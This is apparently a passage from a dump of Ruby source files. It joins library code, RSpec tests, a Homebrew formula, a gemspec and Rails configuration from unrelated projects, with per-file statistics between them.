Regexp.last_match[1] ? countries : countries.last
end
def find_all_by(attribute, val)
attributes, value = parse_attributes(attribute, val)
Data.select do |_, v|
attributes.map do |attr|
Array(v[attr]).any? { |n| value === n.to_s.downcase }
end.include?(true)
end
end
protected
def parse_attributes(attribute, val)
fail "Invalid attribute name '#{attribute}'" unless AttrReaders.include?(attribute.to_sym)
attributes = Array(attribute.to_s)
if attributes == ['name']
attributes << 'names'
attributes << 'translated_names'
end
val = (val.is_a?(Regexp) ? Regexp.new(val.source, 'i') : val.to_s.downcase)
[attributes, val]
end
def find_by(attribute, value, obj = nil)
find_all_by(attribute.downcase, value).map do |country|
obj.nil? ? country : new(country.last)
end
end
end
end
def ISO3166::Country(country_data_or_country)
case country_data_or_country
when ISO3166::Country
country_data_or_country
when String, Symbol
ISO3166::Country.search(country_data_or_country)
else
fail TypeError, "can't convert #{country_data_or_country.class.name} into ISO3166::Country"
end
end
| 23.015707 | 140 | 0.641037 |
ff0dbd27123306f6af08bf4dc10229323ef693ed | 6,346 | =begin
#SendinBlue API
#SendinBlue provide a RESTFul API that can be used with any languages. With this API, you will be able to : - Manage your campaigns and get the statistics - Manage your contacts - Send transactional Emails and SMS - and much more... You can download our wrappers at https://github.com/orgs/sendinblue **Possible responses** | Code | Message | | :-------------: | ------------- | | 200 | OK. Successful Request | | 201 | OK. Successful Creation | | 202 | OK. Request accepted | | 204 | OK. Successful Update/Deletion | | 400 | Error. Bad Request | | 401 | Error. Authentication Needed | | 402 | Error. Not enough credit, plan upgrade needed | | 403 | Error. Permission denied | | 404 | Error. Object does not exist | | 405 | Error. Method not allowed | | 406 | Error. Not Acceptable |
OpenAPI spec version: 3.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.18
=end
require 'date'
module SibApiV3Sdk
class RemoveCredits
# Required if email credits are empty. SMS credits to be removed from the child account
attr_accessor :sms
# Required if sms credits are empty. Email credits to be removed from the child account
attr_accessor :email
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'sms' => :'sms',
:'email' => :'email'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'sms' => :'Integer',
:'email' => :'Integer'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'sms')
self.sms = attributes[:'sms']
end
if attributes.has_key?(:'email')
self.email = attributes[:'email']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
sms == o.sms &&
email == o.email
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[sms, email].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = SibApiV3Sdk.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 32.377551 | 839 | 0.616451 |
b9c8d48a55de0fa9392da583e35ba1ba741c0431 | 148 | module Stevenson
class Error < StandardError
def initialize(message, cause = nil)
super(message)
@cause = cause
end
end
end
| 16.444444 | 40 | 0.655405 |
6a4a1d51bee96f25be33966fe82e794cbf2ec1f2 | 718 | module Blog
module TagsHelper
#Number of sizes defined in the css
NUMBER_OF_LABEL_SIZES = 5
def tag_url(tag)
"#{blog_root_path}/tags/#{URI.encode(tag.name.mb_chars.to_s.downcase)}"
end
def label_for_tag(tag, min, max)
"label-size-#{size_for_tag(tag, min, max)}"
end
def size_for_tag(tag, min, max)
#logarithmic scaling based on the number of occurrences of each tag
if min<max && tag.frequency>0
1 + ((NUMBER_OF_LABEL_SIZES-1)*(log_distance_to_min(tag.frequency, min))/log_distance_to_min(max, min)).round
else
1
end
end
private
def log_distance_to_min(value, min)
Math.log(value)-Math.log(min)
end
end
end | 23.933333 | 117 | 0.655989 |
1c0034755b09f2fc3c8bdbd7923380e20af4407a | 11,412 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2014 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
describe WorkPackages::ContextMenusController do
let(:user) { FactoryGirl.create(:user) }
let(:type) { FactoryGirl.create(:type_standard) }
let(:project_1) { FactoryGirl.create(:project,
types: [type]) }
let(:project_2) { FactoryGirl.create(:project,
types: [type],
is_public: false) }
let(:role) { FactoryGirl.create(:role,
permissions: [:view_work_packages,
:add_work_packages,
:edit_work_packages,
:move_work_packages,
:delete_work_packages]) }
let(:member) { FactoryGirl.create(:member,
project: project_1,
principal: user,
roles: [role]) }
let(:status_1) { FactoryGirl.create(:status) }
let(:work_package_1) { FactoryGirl.create(:work_package,
author: user,
type: type,
status: status_1,
project: project_1) }
let(:work_package_2) { FactoryGirl.create(:work_package,
author: user,
type: type,
status: status_1,
project: project_1) }
let(:work_package_3) { FactoryGirl.create(:work_package,
author: user,
type: type,
status: status_1,
project: project_2) }
before do
member
allow(User).to receive(:current).and_return user
end
describe :index do
render_views
shared_examples_for "successful response" do
before { get :index, ids: ids }
subject { response }
it { should be_success }
it { should render_template('context_menu') }
end
shared_examples_for :edit do
let(:edit_link) { "/work_packages/#{ids.first}/edit" }
it_behaves_like :edit_impl
end
shared_examples_for :bulk_edit do
let(:edit_link) { "/work_packages/bulk/edit?#{ids_link}" }
it_behaves_like :edit_impl
end
shared_examples_for :edit_impl do
before { get :index, ids: ids }
it do
assert_tag tag: 'a',
content: 'Edit',
attributes: { href: edit_link,
:class => 'icon-context icon-edit' }
end
end
shared_examples_for :status do
let(:status_2) { FactoryGirl.create(:status) }
let(:status_3) { FactoryGirl.create(:status) }
let(:workflow_1) { FactoryGirl.create(:workflow,
role: role,
type_id: type.id,
old_status: status_1,
new_status: status_2) }
let(:workflow_2) { FactoryGirl.create(:workflow,
role: role,
type_id: type.id,
old_status: status_2,
new_status: status_3) }
before do
workflow_1
workflow_2
get :index, ids: ids
end
let(:status_link) { "/work_packages/bulk?#{ids_link}"\
"&work_package%5Bstatus_id%5D=#{status_2.id}" }
it do
assert_tag tag: 'a',
content: status_2.name,
attributes: { href: status_link,
:class => '' }
end
end
shared_examples_for :priority do
let(:priority_immediate) { FactoryGirl.create(:priority_immediate) }
let(:priority_link) { "/work_packages/bulk?#{ids_link}"\
"&work_package%5Bpriority_id%5D=#{priority_immediate.id}" }
before do
priority_immediate
get :index, ids: ids
end
it do
assert_tag :tag => 'a',
content: 'Immediate',
attributes: { href: priority_link,
:class => '' }
end
end
shared_examples_for :version do
let(:version_1) { FactoryGirl.create(:version,
project: project_1) }
let(:version_2) { FactoryGirl.create(:version,
project: project_1) }
let(:version_link_1) { "/work_packages/bulk?#{ids_link}"\
"&work_package%5Bfixed_version_id%5D=#{version_1.id}" }
let(:version_link_2) { "/work_packages/bulk?#{ids_link}"\
"&work_package%5Bfixed_version_id%5D=#{version_2.id}" }
before do
version_1
version_2
get :index, ids: ids
end
it do
assert_tag tag: 'a',
content: version_2.name,
attributes: { href: version_link_2,
:class => '' }
end
end
shared_examples_for :assignee_or_responsible do
let(:link) { "/work_packages/bulk?#{ids_link}"\
"&work_package%5B#{assignee_or_responsible}_id%5D=#{user.id}" }
before { get :index, ids: ids }
it do
assert_tag tag: 'a',
content: user.name,
attributes: { href: link,
:class => '' }
end
end
shared_examples_for :assigned_to do
let(:assignee_or_responsible) { "assigned_to"}
include_examples :assignee_or_responsible
end
shared_examples_for :responsible do
let(:assignee_or_responsible) { "responsible"}
include_examples :assignee_or_responsible
end
shared_examples_for :duplicate do
let(:duplicate_link) { "/projects/#{project_1.identifier}/work_packages"\
"/new?copy_from=#{ids.first}" }
before { get :index, ids: ids }
it do
assert_tag tag: 'a',
content: 'Duplicate',
attributes: { href: duplicate_link,
:class => 'icon-context icon-duplicate' }
end
end
shared_examples_for :copy do
let(:copy_link) { "/work_packages/move/new?copy=true&"\
"#{ids_link}" }
before { get :index, ids: ids }
it do
assert_tag tag: 'a',
content: 'Copy',
attributes: { href: copy_link }
end
end
shared_examples_for :move do
let(:move_link) { "/work_packages/move/new?#{ids_link}" }
before { get :index, ids: ids }
it do
assert_tag tag: 'a',
content: 'Move',
attributes: { href: move_link }
end
end
shared_examples_for :delete do
let(:delete_link) { "/work_packages/bulk?#{ids_link}" }
before { get :index, ids: ids }
it do
assert_tag tag: 'a',
content: 'Delete',
attributes: { href: delete_link }
end
end
context "one work package" do
let(:ids) { [work_package_1.id] }
let(:ids_link) { ids.map {|id| "ids%5B%5D=#{id}"}.join('&') }
it_behaves_like "successful response"
it_behaves_like :edit
it_behaves_like :status
it_behaves_like :priority
it_behaves_like :version
it_behaves_like :assigned_to
it_behaves_like :responsible
it_behaves_like :duplicate
it_behaves_like :copy
it_behaves_like :move
it_behaves_like :delete
context "anonymous user" do
let(:anonymous) { FactoryGirl.create(:anonymous) }
before { allow(User).to receive(:current).and_return anonymous }
it_behaves_like "successful response"
describe :delete do
before { get :index, ids: ids }
it { assert_select "a.disabled", :text => /Delete/ }
end
end
end
context "multiple work packages" do
context "in same project" do
let(:ids) { [work_package_1.id, work_package_2.id] }
let(:ids_link) { ids.map {|id| "ids%5B%5D=#{id}"}.join('&') }
it_behaves_like "successful response"
it_behaves_like :bulk_edit
it_behaves_like :status
it_behaves_like :priority
it_behaves_like :assigned_to
it_behaves_like :responsible
it_behaves_like :copy
it_behaves_like :move
it_behaves_like :delete
end
context "in different projects" do
let(:ids) { [work_package_1.id, work_package_2.id, work_package_3.id] }
describe "with project rights" do
let(:ids_link) { ids.map {|id| "ids%5B%5D=#{id}"}.join('&') }
let(:member_2) { FactoryGirl.create(:member,
project: project_2,
principal: user,
roles: [role]) }
before { member_2 }
it_behaves_like "successful response"
it_behaves_like :bulk_edit
it_behaves_like :status
it_behaves_like :priority
it_behaves_like :assigned_to
it_behaves_like :responsible
it_behaves_like :delete
end
describe "w/o project rights" do
it_behaves_like "successful response"
describe :work_packages do
before { get :index, ids: ids }
it { expect(assigns(:work_packages).collect(&:id)).to match_array([work_package_1.id, work_package_2.id]) }
end
end
end
end
end
end
| 31.438017 | 119 | 0.525499 |
61633636ddd19ec071ea0301f8b9788ff0a6f47b | 67 | json.partial! 'topics/nesting', collection: @collection, as: :topic | 67 | 67 | 0.761194 |
b98b550f47a694ff5227228a3ffcdf4e3feb6816 | 1,109 | class IosWebkitDebugProxy < Formula
desc "DevTools proxy for iOS devices"
homepage "https://github.com/google/ios-webkit-debug-proxy"
url "https://github.com/google/ios-webkit-debug-proxy/archive/v1.8.5.tar.gz"
sha256 "5d3f71609b908910249a1bcdcb20c5e94f0cbea6418dc9f1d36ec2f41bed80a7"
head "https://github.com/google/ios-webkit-debug-proxy.git"
bottle do
cellar :any
sha256 "0a8516877b50c17ddffc7d9e80702f3221aa33ef88ca1cceb4eddeada198d37f" => :mojave
sha256 "a84067180c1c839f8d17d1d530f46a7c4ea753b5acf96005960c0ecb147512dd" => :high_sierra
sha256 "4d8d1545d4555b6787d42037e3cf84cf5d046dff82f52a850b85ba8cab955867" => :sierra
end
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
depends_on "pkg-config" => :build
depends_on "libimobiledevice"
depends_on "libplist"
depends_on "usbmuxd"
def install
system "./autogen.sh"
system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}"
system "make", "install"
end
test do
system "#{bin}/ios_webkit_debug_proxy", "--help"
end
end
| 33.606061 | 93 | 0.750225 |
5d5d7f5d74efa911b13d2c0b7a686f40a335f7ae | 194 | require File.dirname(__FILE__) + '/../test_helper'
class ServiceLearningPositionTest < ActiveSupport::TestCase
# Replace this with your real tests.
def test_truth
assert true
end
end
| 21.555556 | 59 | 0.757732 |
e8803b9285a110a0cb7e5a6cdec85faf2fa47c3f | 9,128 | # frozen_string_literal: true
RSpec.describe RuboCop::Cop::Style::RaiseArgs, :config do
context 'when enforced style is compact' do
let(:cop_config) { { 'EnforcedStyle' => 'compact' } }
context 'with a raise with 2 args' do
it 'reports an offense' do
expect_offense(<<~RUBY)
raise RuntimeError, msg
^^^^^^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
RUBY
expect_correction(<<~RUBY)
raise RuntimeError.new(msg)
RUBY
end
end
context 'with a raise with exception instantiation and message arguments' do
it 'reports an offense' do
expect_offense(<<~RUBY)
raise FooError.new, message
^^^^^^^^^^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
RUBY
expect_correction(<<~RUBY)
raise FooError.new(message)
RUBY
end
end
context 'when used in a ternary expression' do
it 'registers an offense and auto-corrects' do
expect_offense(<<~RUBY)
foo ? raise(Ex, 'error') : bar
^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
RUBY
expect_correction(<<~RUBY)
foo ? raise(Ex.new('error')) : bar
RUBY
end
end
context 'when used in a logical and expression' do
it 'registers an offense and auto-corrects' do
expect_offense(<<~RUBY)
bar && raise(Ex, 'error')
^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
RUBY
expect_correction(<<~RUBY)
bar && raise(Ex.new('error'))
RUBY
end
end
context 'when used in a logical or expression' do
it 'registers an offense and auto-corrects' do
expect_offense(<<~RUBY)
bar || raise(Ex, 'error')
^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
RUBY
expect_correction(<<~RUBY)
bar || raise(Ex.new('error'))
RUBY
end
end
context 'with correct + opposite' do
it 'reports an offense' do
expect_offense(<<~RUBY)
if a
raise RuntimeError, msg
^^^^^^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
else
raise Ex.new(msg)
end
RUBY
expect_correction(<<~RUBY)
if a
raise RuntimeError.new(msg)
else
raise Ex.new(msg)
end
RUBY
end
it 'reports multiple offenses' do
expect_offense(<<~RUBY)
if a
raise RuntimeError, msg
^^^^^^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
elsif b
raise Ex.new(msg)
else
raise ArgumentError, msg
^^^^^^^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
end
RUBY
expect_correction(<<~RUBY)
if a
raise RuntimeError.new(msg)
elsif b
raise Ex.new(msg)
else
raise ArgumentError.new(msg)
end
RUBY
end
end
context 'with a raise with 3 args' do
it 'reports an offense' do
expect_offense(<<~RUBY)
raise RuntimeError, msg, caller
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Provide an exception object as an argument to `raise`.
RUBY
expect_no_corrections
end
end
it 'accepts a raise with msg argument' do
expect_no_offenses('raise msg')
end
it 'accepts a raise with an exception argument' do
expect_no_offenses('raise Ex.new(msg)')
end
end
context 'when enforced style is exploded' do
let(:cop_config) { { 'EnforcedStyle' => 'exploded' } }
context 'with a raise with exception object' do
context 'with one argument' do
it 'reports an offense' do
expect_offense(<<~RUBY)
raise Ex.new(msg)
^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
RUBY
expect_correction(<<~RUBY)
raise Ex, msg
RUBY
end
end
context 'with no arguments' do
it 'reports an offense' do
expect_offense(<<~RUBY)
raise Ex.new
^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
RUBY
expect_correction(<<~RUBY)
raise Ex
RUBY
end
end
context 'when used in a ternary expression' do
it 'registers an offense and auto-corrects' do
expect_offense(<<~RUBY)
foo ? raise(Ex.new('error')) : bar
^^^^^^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
RUBY
expect_correction(<<~RUBY)
foo ? raise(Ex, 'error') : bar
RUBY
end
end
context 'when used in a logical and expression' do
it 'registers an offense and auto-corrects' do
expect_offense(<<~RUBY)
bar && raise(Ex.new('error'))
^^^^^^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
RUBY
expect_correction(<<~RUBY)
bar && raise(Ex, 'error')
RUBY
end
end
context 'when used in a logical or expression' do
it 'registers an offense and auto-corrects' do
expect_offense(<<~RUBY)
bar || raise(Ex.new('error'))
^^^^^^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
RUBY
expect_correction(<<~RUBY)
bar || raise(Ex, 'error')
RUBY
end
end
end
context 'with opposite + correct' do
it 'reports an offense for opposite + correct' do
expect_offense(<<~RUBY)
if a
raise RuntimeError, msg
else
raise Ex.new(msg)
^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
end
RUBY
expect_correction(<<~RUBY)
if a
raise RuntimeError, msg
else
raise Ex, msg
end
RUBY
end
it 'reports multiple offenses' do
expect_offense(<<~RUBY)
if a
raise RuntimeError, msg
elsif b
raise Ex.new(msg)
^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
else
raise ArgumentError.new(msg)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
end
RUBY
expect_correction(<<~RUBY)
if a
raise RuntimeError, msg
elsif b
raise Ex, msg
else
raise ArgumentError, msg
end
RUBY
end
end
context 'when an exception object is assigned to a local variable' do
it 'auto-corrects to exploded style' do
expect_offense(<<~RUBY)
def do_something
klass = RuntimeError
raise klass.new('hi')
^^^^^^^^^^^^^^^^^^^^^ Provide an exception class and message as arguments to `raise`.
end
RUBY
expect_correction(<<~RUBY)
def do_something
klass = RuntimeError
raise klass, 'hi'
end
RUBY
end
end
context 'when exception type is in AllowedCompactTypes' do
before do
stub_const('Ex1', StandardError)
stub_const('Ex2', StandardError)
end
let(:cop_config) do
{
'EnforcedStyle' => 'exploded',
'AllowedCompactTypes' => ['Ex1']
}
end
it 'accepts exception constructor with no arguments' do
expect_no_offenses('raise Ex1.new')
end
context 'with one argument' do
it 'accepts exception constructor' do
expect_no_offenses('raise Ex1.new(msg)')
end
end
context 'with more than one argument' do
it 'accepts exception constructor' do
expect_no_offenses('raise Ex1.new(arg1, arg2)')
end
end
end
it 'accepts exception constructor with more than 1 argument' do
expect_no_offenses('raise MyCustomError.new(a1, a2, a3)')
end
it 'accepts exception constructor with keyword arguments' do
expect_no_offenses('raise MyKwArgError.new(a: 1, b: 2)')
end
it 'accepts a raise with splatted arguments' do
expect_no_offenses('raise MyCustomError.new(*args)')
end
it 'accepts a raise with 3 args' do
expect_no_offenses('raise RuntimeError, msg, caller')
end
it 'accepts a raise with 2 args' do
expect_no_offenses('raise RuntimeError, msg')
end
it 'accepts a raise with msg argument' do
expect_no_offenses('raise msg')
end
end
end
| 28 | 105 | 0.537686 |
28079c2f4465877e02a2a7376e82d1123fa861e1 | 1,972 | # Airbrake is an online tool that provides robust exception tracking in your Rails
# applications. In doing so, it allows you to easily review errors, tie an error
# to an individual piece of code, and trace the cause back to recent
# changes. Airbrake enables for easy categorization, searching, and prioritization
# of exceptions so that when errors occur, your team can quickly determine the
# root cause.
#
# Configuration details:
# https://github.com/airbrake/airbrake-ruby#configuration
Airbrake.configure do |c|
# You must set both project_id & project_key. To find your project_id and
# project_key navigate to your project's General Settings and copy the values
# from the right sidebar.
# https://github.com/airbrake/airbrake-ruby#project_id--project_key
c.project_id = ENV["AIRBRAKE_PROJECT_ID"]
c.project_key = ENV["AIRBRAKE_API_KEY"]
# Configures the root directory of your project. Expects a String or a
# Pathname, which represents the path to your project. Providing this option
# helps us to filter out repetitive data from backtrace frames and link to
# GitHub files from our dashboard.
# https://github.com/airbrake/airbrake-ruby#root_directory
c.root_directory = Rails.root
# By default, Airbrake Ruby outputs to STDOUT. In Rails apps it makes sense to
# use the Rails' logger.
# https://github.com/airbrake/airbrake-ruby#logger
c.logger = Rails.logger
# Configures the environment the application is running in. Helps the Airbrake
# dashboard to distinguish between exceptions occurring in different
# environments. By default, it's not set.
# https://github.com/airbrake/airbrake-ruby#environment
c.environment = Rails.env
end if defined?(Airbrake)
# If Airbrake doesn't send any expected exceptions, we suggest to uncomment the
# line below. It might simplify debugging of background Airbrake workers, which
# can silently die.
# Thread.abort_on_exception = ['test', 'development'].include?(Rails.env)
| 48.097561 | 82 | 0.770791 |
1c27d9353ebfb2506587c78d9a881bf704e21ab9 | 466 | class AddOverrideAccessToUsers < ActiveRecord::Migration
def up
add_column :users, :override_access, :boolean
say_with_time "Migrating Marli Exception Status." do
User.class_eval { serialize :user_attributes }
User.all.each do |user|
user.update_attribute :override_access, user.user_attributes[:marli_exception] unless user.user_attributes.nil?
end
end
end
def down
remove_column :users, :override_access
end
end
| 29.125 | 120 | 0.736052 |
260b97067a33a9501e0d075b60294c740e3f946b | 607 | describe 'transformer_bson', proxy: :Transformer do
moneta_build do
Moneta.build do
use :Transformer, key: :bson, value: :bson
adapter :Memory
end
end
moneta_loader do |value|
if ::BSON::VERSION >= '4.0.0'
::BSON::Document.from_bson(::BSON::ByteBuffer.new(value))['v']
else
::BSON::Document.from_bson(::StringIO.new(value))['v']
end
end
moneta_specs TRANSFORMER_SPECS.simplekeys_only.simplevalues_only.with_each_key
it 'compile transformer class' do
store.should_not be_nil
Moneta::Transformer::BsonKeyBsonValue.should_not be_nil
end
end
| 25.291667 | 80 | 0.69687 |
f8da7f04fddc6bc9ad04c61fb8d657609a54065c | 83 | Rails.application.config.session_store :active_record_store, key: "_my_app_session" | 83 | 83 | 0.86747 |
4a078b782ae9f4564f0107c9c2faa887c1771b34 | 968 | #!/usr/local/bin/ruby
if $0 == __FILE__
Dir.chdir File.dirname(__FILE__)+'/../'
$:.unshift File.expand_path('../lib/')
end
require 'rio'
require 'tc/testcase'
class TC_sub < Test::RIO::TestCase
@@once = false
def self.once
@@once = true
rio('a').rmtree.mkpath
rio('b').rmtree.mkpath
make_lines_file(3,'a/f0')
make_lines_file(2,'a/f1')
end
def setup
super
self.class.once unless @@once
@l = []; @f = []; @d = []
@d[0] = rio('a')
@d[1] = rio('b')
@f[0] = rio('a/f0')
@f[1] = rio('a/f1')
@l[0] = @f[0].readlines
@l[1] = @f[1].readlines
@d[1] < @d[0]
@d[1] < @d[0].files[]
end
def test_basic
ario = rio('apath')
p ario
ans = ario.sub(/^a/,'b')
assert_kind_of(RIO::Rio,ans)
assert_not_same(ario,ans)
assert_equal(rio('bpath'),ans)
ans = ario.sub!(/^a/,'b')
assert_kind_of(RIO::Rio,ans)
assert_same(ario,ans)
assert_equal(rio('bpath'),ans)
end
end
| 20.595745 | 41 | 0.553719 |
26ffee466bb82857772c437d4349d83d96eb8574 | 1,606 | # -*- encoding: utf-8 -*-
# stub: jekyll-avatar 0.7.0 ruby lib
Gem::Specification.new do |s|
s.name = "jekyll-avatar".freeze
s.version = "0.7.0"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Ben Balter".freeze]
s.date = "2019-08-12"
s.email = ["[email protected]".freeze]
s.homepage = "https://github.com/benbalter/jekyll-avatar".freeze
s.licenses = ["MIT".freeze]
s.rubygems_version = "3.2.5".freeze
s.summary = "A Jekyll plugin for rendering GitHub avatars".freeze
s.installed_by_version = "3.2.5" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
end
if s.respond_to? :add_runtime_dependency then
s.add_runtime_dependency(%q<jekyll>.freeze, [">= 3.0", "< 5.0"])
s.add_development_dependency(%q<bundler>.freeze, ["> 1.0", "< 3.0"])
s.add_development_dependency(%q<rake>.freeze, ["~> 12.3"])
s.add_development_dependency(%q<rspec>.freeze, ["~> 3.0"])
s.add_development_dependency(%q<rspec-html-matchers>.freeze, ["~> 0.9"])
s.add_development_dependency(%q<rubocop-jekyll>.freeze, ["~> 0.10.0"])
else
s.add_dependency(%q<jekyll>.freeze, [">= 3.0", "< 5.0"])
s.add_dependency(%q<bundler>.freeze, ["> 1.0", "< 3.0"])
s.add_dependency(%q<rake>.freeze, ["~> 12.3"])
s.add_dependency(%q<rspec>.freeze, ["~> 3.0"])
s.add_dependency(%q<rspec-html-matchers>.freeze, ["~> 0.9"])
s.add_dependency(%q<rubocop-jekyll>.freeze, ["~> 0.10.0"])
end
end
| 40.15 | 112 | 0.660648 |
61fddea9180c684927a480c041b23ecd605cf177 | 5,904 | require "spec_helper"
RSpec.describe Celluloid::IO::UNIXSocket, library: :IO do
if RUBY_PLATFORM == "java"
before(:each) do
pending "jRuby support"
fail "Avoid potential deadlock under jRuby"
end
end
let(:payload) { "ohai" }
let(:example_port) { assign_port }
let(:logger) { Specs::FakeLogger.current }
context "inside Celluloid::IO" do
it "connects to UNIX servers" do
server = ::UNIXServer.open example_unix_sock
thread = Thread.new { server.accept }
socket = within_io_actor { Celluloid::IO::UNIXSocket.open example_unix_sock }
peer = thread.value
peer << payload
expect(within_io_actor { socket.read(payload.size) }).to eq payload
server.close
socket.close
peer.close
File.delete(example_unix_sock)
end
it "should be evented" do
with_connected_unix_sockets do |subject|
expect(within_io_actor { Celluloid::IO.evented? }).to be_truthy
end
end
it "read complete payload when nil size is given to #read" do
with_connected_unix_sockets do |subject, peer|
peer << payload
expect(within_io_actor { subject.read(nil) }).to eq payload
end
end
it "read complete payload when no size is given to #read" do
with_connected_unix_sockets do |subject, peer|
peer << payload
expect(within_io_actor { subject.read }).to eq payload
end
end
it "reads data" do
with_connected_unix_sockets do |subject, peer|
peer << payload
expect(within_io_actor { subject.read(payload.size) }).to eq payload
end
end
it "reads data in binary encoding" do
with_connected_unix_sockets do |subject, peer|
peer << payload
expect(within_io_actor { subject.read(payload.size).encoding }).to eq Encoding::BINARY
end
end
it "reads partial data" do
with_connected_unix_sockets do |subject, peer|
peer << payload * 2
expect(within_io_actor { subject.readpartial(payload.size) }).to eq payload
end
end
it "reads partial data in binary encoding" do
with_connected_unix_sockets do |subject, peer|
peer << payload * 2
expect(within_io_actor { subject.readpartial(payload.size).encoding }).to eq Encoding::BINARY
end
end
it "writes data" do
with_connected_unix_sockets do |subject, peer|
within_io_actor { subject << payload }
expect(peer.read(payload.size)).to eq payload
end
end
it "raises Errno::ENOENT when the connection is refused" do
allow(logger).to receive(:crash).with("Actor crashed!", Errno::ENOENT)
expect do
within_io_actor { Celluloid::IO::UNIXSocket.open(example_unix_sock) }
end.to raise_error(Errno::ENOENT)
end
it "raises EOFError when partial reading from a closed socket" do
allow(logger).to receive(:crash).with("Actor crashed!", EOFError)
with_connected_unix_sockets do |subject, peer|
peer.close
expect do
within_io_actor { subject.readpartial(payload.size) }
end.to raise_error(EOFError)
end
end
context "eof?" do
it "blocks actor then returns by close" do
with_connected_unix_sockets do |subject, peer|
started_at = Time.now
Thread.new { sleep 0.5; peer.close; }
within_io_actor { subject.eof? }
